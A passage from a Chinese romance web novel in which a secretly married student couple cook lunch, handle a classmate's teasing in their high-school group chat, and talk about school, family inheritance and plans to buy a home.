宋知礼将冻排骨拆开倒进水池的盆里解冻,又拿出一包上海青,倒在盆里清洗,准备炒一盘素菜。 他也不太会做饭,简单的炒菜和煮汤,就是全部了。 林菁说了要请宋知礼吃饭,就不允许宋知礼动手。 她走到水池旁,对宋知礼说:“我来洗。” 宋知礼让她去煎牛排。 林菁抬头看了眼客厅悬挂的钟表,发现时间不早了,若想早些吃上饭,是需要分工合作。 二人都是厨房生手,倒腾了好久宋知礼才把洗好的菜放进油锅。 林菁的牛排也煎好了。 出锅时,林菁在平底锅里铲了半天铲不起来,最后直接用筷子将牛排夹起。 林菁特地挑了两个最漂亮的碗,放牛排。 宋知礼正快速地用锅铲在锅里煸炒,将上海青炒熟。 这时林菁才想到,她不该这么早煎牛排的,宋知礼的菜还没炒好,水池里的排骨还未解冻。 等其他东西准备完,牛排早凉了。 专心炒菜的宋知礼显然也没有意识到这个严肃的问题。 他俩纯属厨房小白。 思来想去,林菁直接从橱柜里拿出刀叉,站在锅边将两份牛排都切成小块。 她把其中一份往宋知礼那儿推了一推,示意是给他的。 又看到宋知礼在忙着炒青菜,林菁就直接用另一把叉子戳了一块牛排,放到了宋知礼的嘴边。 宋知礼张嘴咬掉,对她说:“饿了吗?你先吃。” 林菁摇头:“没有很饿,但不赶紧吃就凉了。” 宋知礼这才意识到这个问题。 他走过去敲了敲水中的排骨,看起来还需要解冻很久。 “这排骨……要不你晚上吃吧,”宋知礼说,感觉中午来不及做了。 “也行,”林菁回,她自己吃了块自己盘子里的,又给宋知礼戳了块牛排。 宋知礼欣然接受,接着咬着牛排含糊地说:“你先去餐桌上吃吧,我菜很快就炒好。” 林菁端着两盘牛排先出去了。 请客吃饭这点菜显然不够,她决定再点一些外卖。 至于为什么她不一开始就点外卖,那是因为点外卖太敷衍,不如自己做的诚恳。 现在她已经亲手煎了两块牛排,再点些外卖就是锦上添花。 她和宋知礼的手机进门时都放在了玄关处,她拿起自己的手机,准备看有什么好吃的外卖。 摁亮屏幕后,有一行很陌生的消息,来自企鹅群。 群名是,永远的高三八班。 群消息99+。 林菁觉得奇怪,高中群里已经很久没人说话了,怎么会突然这么热闹。 她坐到餐桌边,点开最新消息。 宋知礼在给青菜调味,他原想问林菁她家的盐放在哪里,又想了想觉得问也是白问,就直接自己翻箱倒柜地开始找。 终于在柜子角落找到一包拆了封、用燕尾夹夹好的盐,大约是阿姨做饭时拆开的。 他倒了些盐在锅铲上,接着在锅内拌匀。 林菁忽然又进了厨房。 “你坐着,我马上就好,”宋知礼拿了个盘子,准备收尾。 林菁神色有些异样,她没有说话,走到宋知礼身边,把手机屏幕给宋知礼看。 屏幕上,新消息的第一条是韩嚣会发的。 【@宋知礼,某些人好事将近,不跟老同学分享一下吗?[坏笑]】 时间点就在他们遇到韩嚣会的后几分钟。 宋知礼眼角抽了抽。 他关了火,放下锅铲,接过林菁的手机,向下滑。 韩嚣会说出这句惊天大瓜之后,其他同学在下面扣了一长串的问号。 【什么好事,你再透露点】 【@宋知礼,班长你在隐藏什么】 【韩嚣会,说话说一半什么意思】 …… 不管其他人如何问候父母,韩嚣会再没有透露其他消息。 他在大家一堆激烈的猜测后,又贱兮兮地补了一句,“你们问宋知礼去啊。” 其中夹了一条消息,是他们的班主任李老师发的。 他问,“宋知礼怎么了,你们怎么都在说宋知礼?” 老师还没摸清楚状况。 群里聊得热火朝天,几个热情的朋友已经开始忆往昔叙旧,讨论起同学聚会什么时候开。 【所以班长呢,班长怎么不回信息】 【@宋知礼】 【@宋知礼】 【班长,还在群里吗】 …… 宋知礼将手机还给林菁,他仰头望天,看了两眼天花板,冷静一下,接着继续拿起铲子,先将青菜盛出。 是他大意了,高中毕业几年,忘了韩嚣会是个神经病。 难以用正常思维去理解的神经病。 林菁依旧站在他的身边,问他:“班长,我们怎么解释?” 群里的人大多称呼宋知礼为班长,林菁也就顺嘴一起这么称呼。 宋知礼一手端着菜,一手牵着林菁,安慰她:“先吃饭。” 他从玄关处拿了自己的手机,不出意外消息已经炸了。 林菁已经在外卖平台又下单了几个菜,一会儿就能送到,他们可以边吃边等。 现在最要紧的是,解决韩嚣会惹出来的麻烦。 北城四中在中大和华大都有不少校友,若是直接承认他与林菁的婚事,必会引起轩然大波。 两个大四学生趁假期结婚这种事情,放在网上发酵一下,大概能上社会新闻。 看韩嚣会没有继续爆料,他大约也只是想找点乐子,没有真想暴露宋知礼与林菁的隐私。 宋知礼询问林菁,“我能在群里发点什么吗?” 林菁一直觉得宋知礼是个有分寸的人,应当能解决好这件事。 她点了点头,允许了。 宋知礼在群里回复。 【在】 正主冒头,群里像落下一颗炸药,不知道这群同学为什么会这么闲。 【班长班长,韩嚣会说的啥意思啊】 【好奇小狗.jpg】 班主任李老师看到宋知礼出现,也好奇心发作,询问: 【知礼,有什么好事,跟老师说来听听】 宋知礼打开手机的摄像头,拍下一张餐桌照片,照片上,有两份吃了几块的牛排,还有两份刀叉。 旁边还放着一份清淡的炒青菜。 他刻意避开,没拍到对面坐着的林菁。 图片一发出,又是一波文字攻击。 宋知礼无视所有,淡定打字。 【在陪老婆吃饭】 林菁一直看着群里的消息,看到宋知礼打的那句话脸唰的一下红了。 她欲盖弥彰地用刀叉切了几下牛排,接着机械地咬了一口,她感受到自己的耳朵正在慢慢涨得通红。 这是结婚后,宋知礼第一次喊她老婆。 虽然是文字形式的,但林菁还是觉得有点不好意思。 在宋知礼这句平地起惊浪后,群里沉默了五秒。 接着,各种奇形怪状的表情包袭来。 【咦~~~】 【还老婆,班长你什么时候这么肉麻了】 【我闻到了爱情的酸臭味】 【老婆~~~】 【我们今年都大四,你哪来的老婆啊,宋知礼,女朋友就女朋友,占人家女孩子便宜干什么】 【班长,你女朋友是在哪找的,我们认识吗】 宋知礼不再理群里的人,反正他已经满足了这群同学的好奇心,告诉了他们是什么好事。 但他们都不相信他有老婆,他 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宋知礼:“也不忙,就是刚成立的公司琐事比较多,得时不时看看。要是你寒假有什么事情需要帮忙,直接打我电话,我随时有空。” 林菁点点头。 宋知礼问:“你什么时候开学?” 林菁:“正月十六。” 宋知礼笑了笑,与她攀比,“我正月二十。” 林菁顿时生气了,凭什么华大比中大多放四天假。 她又安慰自己,“大四也没有课,我也不一定需要按时到校。” 宋知礼点点头,认同她的话。 “对了,”林菁忽然想到,“你成绩是不是挺好的,怎么没选择保研。” 她记得那次偷听讲座时,看到宋知礼的绩点很高,还有竞赛加持,难道华大的计算机已经卷到了天理不容的程度了吗? 宋知礼幽幽看着她,嘴角勾了勾,问她:“你怎么知道我成绩的,打听我?” 林菁一时说不出理由,她断不会交代自己偷偷去听了宋知礼的讲座,还听到了有女生跟他表白。 林菁:“我……我一个舍友的男朋友是华大的,听他说的。” 宋知礼“哦”了一声,“是这样啊,我确实成绩非常好。” 他毫不谦虚,自夸自卖。 “华大计算机系无人不知道我的大名,对了,你舍友的男朋友是计算机系的吗?” 林菁:“……是的吧。” 其实徐菲菲的男朋友是学建筑的。 为了防止宋知礼突然提问这位舍友的男朋友叫什么名字,林菁直接做出努力思考的样子,“哎呀,他叫什么名字来着,我给忘了,没准你认识。” 宋知礼点点头,好像信了她的鬼话。 “反正,我在我们学院绩点排第一。上学期,大一的学生会还来找我做经验分享了,”宋知礼貌似无意地提了一嘴。 林菁装作不知道:“是吗,这么厉害。” 宋知礼:“会上还有个女生跟我表白了。” 林菁装得很惊讶,眼睛瞪得大大的。 宋知礼放下筷子,很无辜地说:“但我立马就拒绝了。” 林菁听到这句话,很久以前的谜底得到了揭晓,心里踏实了许多。 她心想,你确实得拒绝,不然这算婚内出轨。 她怕聊多了那次大会的事情被宋知礼看出破绽,就扯开话题,继续与宋知礼聊学习,“你还是没说你为什么没保研。” 是挂过科还是受过处分? 林菁觉得都不像。 不能是六级没过吧?她记得宋知礼高中时英语挺好的。 宋知礼叹了口气,“我最大的堂弟今年大二了。” 若是他再耽搁两三年,去读个研究生,那就把他爸妈早生他两年的优势给耗没了。 宋家的继承人之位,竞争激烈,孙辈子女众多。 宋知礼占了个长孙的名头,比其他人多几年时间去竞争,他自然要早早让爷爷宋震山看见自己的能力,说服他,把宋家的家业交给自己。 所以,这个研究生,他没空去读。 他签了放弃攻读硕士学位的保证书,并选择了创业,熟悉企业运行机制。 林菁听懂了,宋知礼需要早日回家争家产。 那她呢。 对于林家的产业,她好像从来没有想过自己能继承林家多少。 一来,林家与宋家不一样,宋家老爷子一直没有将企业交给自己哪个儿子管理,所有产业依旧握在老爷子手里,宋家的局势暂时并不清晰。 但林家不一样,大伯林建峰明显比林菁的爸爸林建华更得林佑山喜爱,管理大权已有很大一部分交给了林建峰。她的堂哥林斯齐也有出息,今年已经进入企业崭露头角,与他父亲并肩作战。 反观林菁一家,有在企业干闲职的爸,吃喝玩乐的继母,还有要再上三年学且学的还是跟金融管理毫不相关的物理学的她。 前途可悲。 她理解宋知礼的决定,希望他早日成功。 宋知礼:“我们大年初一去看新房吧。” 没准大年初一有优惠。 话题转的太快,林菁一时没反应过来,“什么?” 宋知礼不厌其烦地再度给林菁提醒,“婚房。” 他们没有婚房。 宋知礼没有买过房子,他总不能让林菁以后跟自己一起住在宋家的老宅。 老宅里人员嘈杂,时不时还有各种亲戚朋友来访,这会打扰到他与林菁。 那多不方便。 他想要一撞房子,一幢只有林菁与他的房子。